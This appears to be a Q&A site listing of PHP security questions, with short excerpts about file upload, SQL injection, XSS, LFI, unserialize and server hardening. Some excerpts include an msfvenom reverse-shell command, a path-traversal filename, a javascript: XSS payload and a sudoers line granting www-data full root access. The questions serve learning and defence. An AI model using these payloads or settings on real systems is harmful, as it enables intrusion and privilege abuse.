Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
2
votes
1answer
40 views

Why does file traversal not working in this PHP file upload code?

I am using this script to upload file to the system with apache2 as server and php7. If I provide filename as ../../../../tmp/data.png of uploaded file, then also the file gets uploaded to /var/up/...
1
vote
0answers
44 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
0
votes
1answer
94 views

Does PHP unserialize work with an object inside a string

serialize($_POST); where $_POST is always an array. I have control over one of the array values, e.g. $_POST['evil']. Is the unserialize exploit possible with this kind of structure? I coulnd't get ...
1
vote
0answers
206 views

What is the approach to working on this?

I have a question I am working on with regards to PHP vulnerability. Below is the code snippet. Basically, I need to print the contents of get_flag.php. My train of thoughts is that the following ...
1
vote
2answers
292 views

Cross subdomain PHP security?

I understand there are security risks with regards to cross subdomain session cookie attacks which are covered in other posts. However what about PHP script security? If a user with subdomain FTP ...
3
votes
1answer
349 views

Does it make sense to have the application block users by IP as well as the firewalls?

I am planning to create a system, but I still have some questions about security. I would like to know if it makes sense to block unauthorized users from accessing the system, through the ip, using a ...
2
votes
3answers
6k views

Is it possible to exploit a file upload with whitelist and filename hashing?

I have a small web application. Because it is necessary to upload some files I check the file extensions with a whitelist (tgz, jpg, png, pdf, zip, rar, txt, gif, py, c, rb). In addition to that, I ...
1
vote
2answers
47 views

Regenerating CSFR token in AJAX requests

I would like to create a new token for each request and would like to us the following template- <script> var current_token=<?php echo $_SESSION['csrf_token']; ?> $....
3
votes
1answer
67 views

How to create custom exploit https requests to test a PHP framework [closed]

I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
1
vote
1answer
65 views

How to protect client server app if both: client and server - located on client side?

Frontend communicates to backend. I am a developer of frontend and backend. I want to protect my app (prohibit end user from using my app without paying). The only thing I have in mind is to have some ...
3
votes
1answer
100 views

Are there risks in user-uploaded .txt files sent as a string to PHP

I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed. I'm wetting my feet in PHP, and I've put together a ...
1
vote
0answers
180 views

Exploiting WebDav [closed]

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
0
votes
0answers
44 views

WordPress, a Security Risk for Bitcoin Application?

Asked this question on Bitcoin SE was told to post it here. I'm developing a custom Bitcoin service. Besides for the core application (which is written in PHP) I'm going to install a blog for updates ...
5
votes
2answers
16k views

SQL Injection Modify / Insert Table Values

Is it possible to update a field in a MySQL database or insert a new row using SQL injection in this case: The only protection in the PHP code is mysql_real_escape_string(). The query is constructed ...
0
votes
0answers
24 views

Parameter allowing untrusted user input in twig templates, but not getting SSTI?

I have created a small code where I include the user input without validation, so as to know the inner workings of SSTI vulnerability. This is the below code:- <!DOCTYPE html> <html> <...
1
vote
1answer
221 views

Why does OpenVAS warn about PHP 5 when I am running PHP 7?

OpenVAS found a vulnerability where it points to PHP versions 5.4.3 and 5.3.13. But both the two hosts I checked with OpenVAS are running PHP 7.2.x. Would this vulnerability be a false positive? High ...
0
votes
2answers
291 views

How to detect malicious files or web shell on a vps web server

How is it possible to detect malicious files or web shell on a vps web server? I used to use a shared hosting, and when I tried to upload any malicious code for testing it got deleted automatically. ...
10
votes
3answers
17k views

What are PHP allow_url_fopen security risk?

Recently I was reading an article about file_get_contents and HTTPS. One part that caught my attention is: Of course, the allow_url_fopen setting also carries a separate risk of enabling Remote ...
1
vote
1answer
94 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
3
votes
1answer
1k views

Getting subscribers on website from nowhere?

I have a weird question and I hope I am asking in the right place. Recently I checked some statistics on my website after a while and noticed that the number of email subscribers had jumped from about ...
0
votes
1answer
88 views

How to trace script injection/infection in php app

This is about a PHP7.4 based shopping platform (opencart (v3.0)). For testing purposes I had a dummy set up at site.com/xyz. The admin page of that was site.com/xyz/admin. The login and pw for the ...
0
votes
0answers
35 views

Wordpress reauth attacks? How to prevent

I am running a forward proxy filtering outbound requests for the following in order to catch potentially malicious requests from hacked Wordpress sites: /wp-login.php* /xmlrpc.php* Lately this has ...
0
votes
1answer
96 views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
0
votes
1answer
59 views

How password_hash / password_verify can work with any arguments (PHP)

I already know how to use password_verify and password_hash functions, but I don't really understand how they work. When I use them I do something like that: $save_hash = password_hash( $password, ...
2
votes
0answers
62 views

If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?

I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them. Everything ...
0
votes
2answers
65 views

can i execute javascript in href when i have text before my input?

This is where I took this example from: <a href="<?php echo $_GET['e'];?>">Back</a> In this code, I can do http://my_url?e=javascript:alert() But what can I do if my code ...
0
votes
1answer
1k views

Session hashes - how it works?

There's a website I visit and I can't understand fully the login process and session hash it creates and uses to keep track of logins and such. Would someone help me understand what goes on in server ...
0
votes
1answer
68 views

Using parametrized queries in PHP

I am currently developing a Slack app in PHP. I'm trying to make the app as secure as possible, that's for sure. So far, I have done the following: Verified the requests using signing secrets Making ...
4
votes
2answers
159 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
1
vote
1answer
99 views

CVE-2020-5250 php vulnerability analysis

I am exploring the vulnerability (CVE-2020-5250) found in PrestaShop software versions <1.7.6.4. Could somebody explain how (with which method) was the program exactly exploitable? And why is the ...
3
votes
1answer
69 views

Sql map Manual Vulnerability Assessment

I am trying to do penetration testing for one of my client. The platform is Code ignitor. There is an endpoint /find/1 The function queries the vehicle table where vehicle ID is 1 with no sanity check....
3
votes
0answers
313 views

Disable php://filter globally or per php file

Local/Remote File Inclusion is a serious vulnerability. Best practice to protect against it is to set in php.ini: allow_url_fopen = Off allow_url_include = Off open_basedir = /var/www/html Clearly, ...
25
votes
4answers
7k views

Is it safe to allow www-data to execute privileged commands?

I have noticed several questions on Stack Overflow, like this one, about executing commands with root privileges using PHP. The answer proposed to add the line www-data ALL=(ALL) NOPASSWD: ALL to ...
0
votes
1answer
202 views

Securimage php library for Captcha Code showing security issues in Arachni Scanner

I have used the securimage PHP library to show a captcha on my form. But when I'm scanning my page for vulnerabilities using Arachni scanner, it shows the following message and it's trying to scan the ...
1
vote
1answer
164 views

Is XSS possible when using htmlspecialchars and https prefix check in href?

There is a standard XSS exploitation technique where one can use javascript keyword in <a href=""> to execute javascript code. Example: <a href="javascript:alert(42);">please clickme</...
0
votes
1answer
111 views

Is it possible to setup a phishing “honeypot” for proof-of-concept purposes without getting the host/IP blacklisted?

[Edited title according to comments] In the company I work for we have many clients and vast majority of them have hosting with us and we made their web apps. One client though just applied for cyber ...
7
votes
2answers
207 views

Do people even exist who actually vet all the updates to their open source software?

A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a ...
1
vote
1answer
57 views

php / email / iis

in a certain page I have a newsletter subscription form, where the user enters his e-mail address and then through PHP an authenticated e-mail is sent to myself with the user's information (e-mail ...
1
vote
1answer
76 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
0
votes
0answers
54 views

SQL Injection Training challenge including a PHP file

I’m currently trying to get some knowledge in SQL injection. In a pen test environment, there is a challenge on which you get the PHP file and you need to try to login using SQL Injection. I’ve ...
0
votes
1answer
96 views

How does a hacker reach a back-end file to exploit it?

I read this post: How does hacking work? and I saw that Chris Dale answered the question with some PHP exploit instructions. However, how does a hacker can read a PHP file (or another back-end file), ...
0
votes
3answers
148 views

Is my login script secure – how to improve it?

I have a login system for my website that works as follows: In the database I have a table called users with the fields user, password and authentication_token. user gets set manually by request in ...
1
vote
1answer
74 views

What is the recommended way to generate API tokens using Laravel framework?

I'm a newbie in terms of security, but I need a suggestion to make sure the connection between an API and mobile apps is secure. I'm currently using the Laravel framework. Based on its documentation ...
0
votes
1answer
231 views

Is this script malicious? What does it do? [closed]

I was working with a freelancer from upwork and noticed they added this script titled .default in my config directory. It looks malicious and they were hired to do CSS style changes of elementor: <...
16
votes
1answer
6k views

Does a log entry with “SPT=81” despite nothing listening on that port indicate my server is hacked?

I manage a Debian GNU/Linux web server (Debian 10 Buster with its bundled 4.19 kernel). I put in place simple iptables logging rules a long time ago, among other things. Here they are: # iptables -A ...
0
votes
1answer
66 views

How can you find the PHP version a website is using using LFI?

If a website is vulnerable to Local File Inclusion (LFI), how can you use it to find out the PHP version? Is there any file which says the version of PHP being used. I'm trying to do a PHP sessions ...
0
votes
0answers
71 views

Is a simple text field a good alternative for phone/website fields if a form's data isn't saved in a database?

I am creating a website with the CMS MediaWiki and its extension named ContactPage. The website is principally all core and I use only that one extension ContactPage (as one which is not one of the ...
0
votes
1answer
109 views

Ways to detect CVE-2017-12419 intrusion

I have a free infinityfree.net web server that was vulnerable to CVE-2017-12419 for quite a big window of time. After fixing the gap and changing the passwords, what are some ways to detect if the ...
1
vote
1answer
86 views

Is it bad to trust PHP's $_SERVER information?

I want to know if is bad to trust the PHP's global variable $_SERVER values. I have a scenario that I change between developer and production site, and I have a config.php file. On this file, I check $...
0
votes
1answer
1k views

How to bypass PHP strings == comparison for sha256 string?

I already know about PHP strings == comparison vulnerabilities http://marcosvalle.github.io/ctf/php/2016/05/12/php-comparison-vlun.html https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling....

1
2 3 4 5
31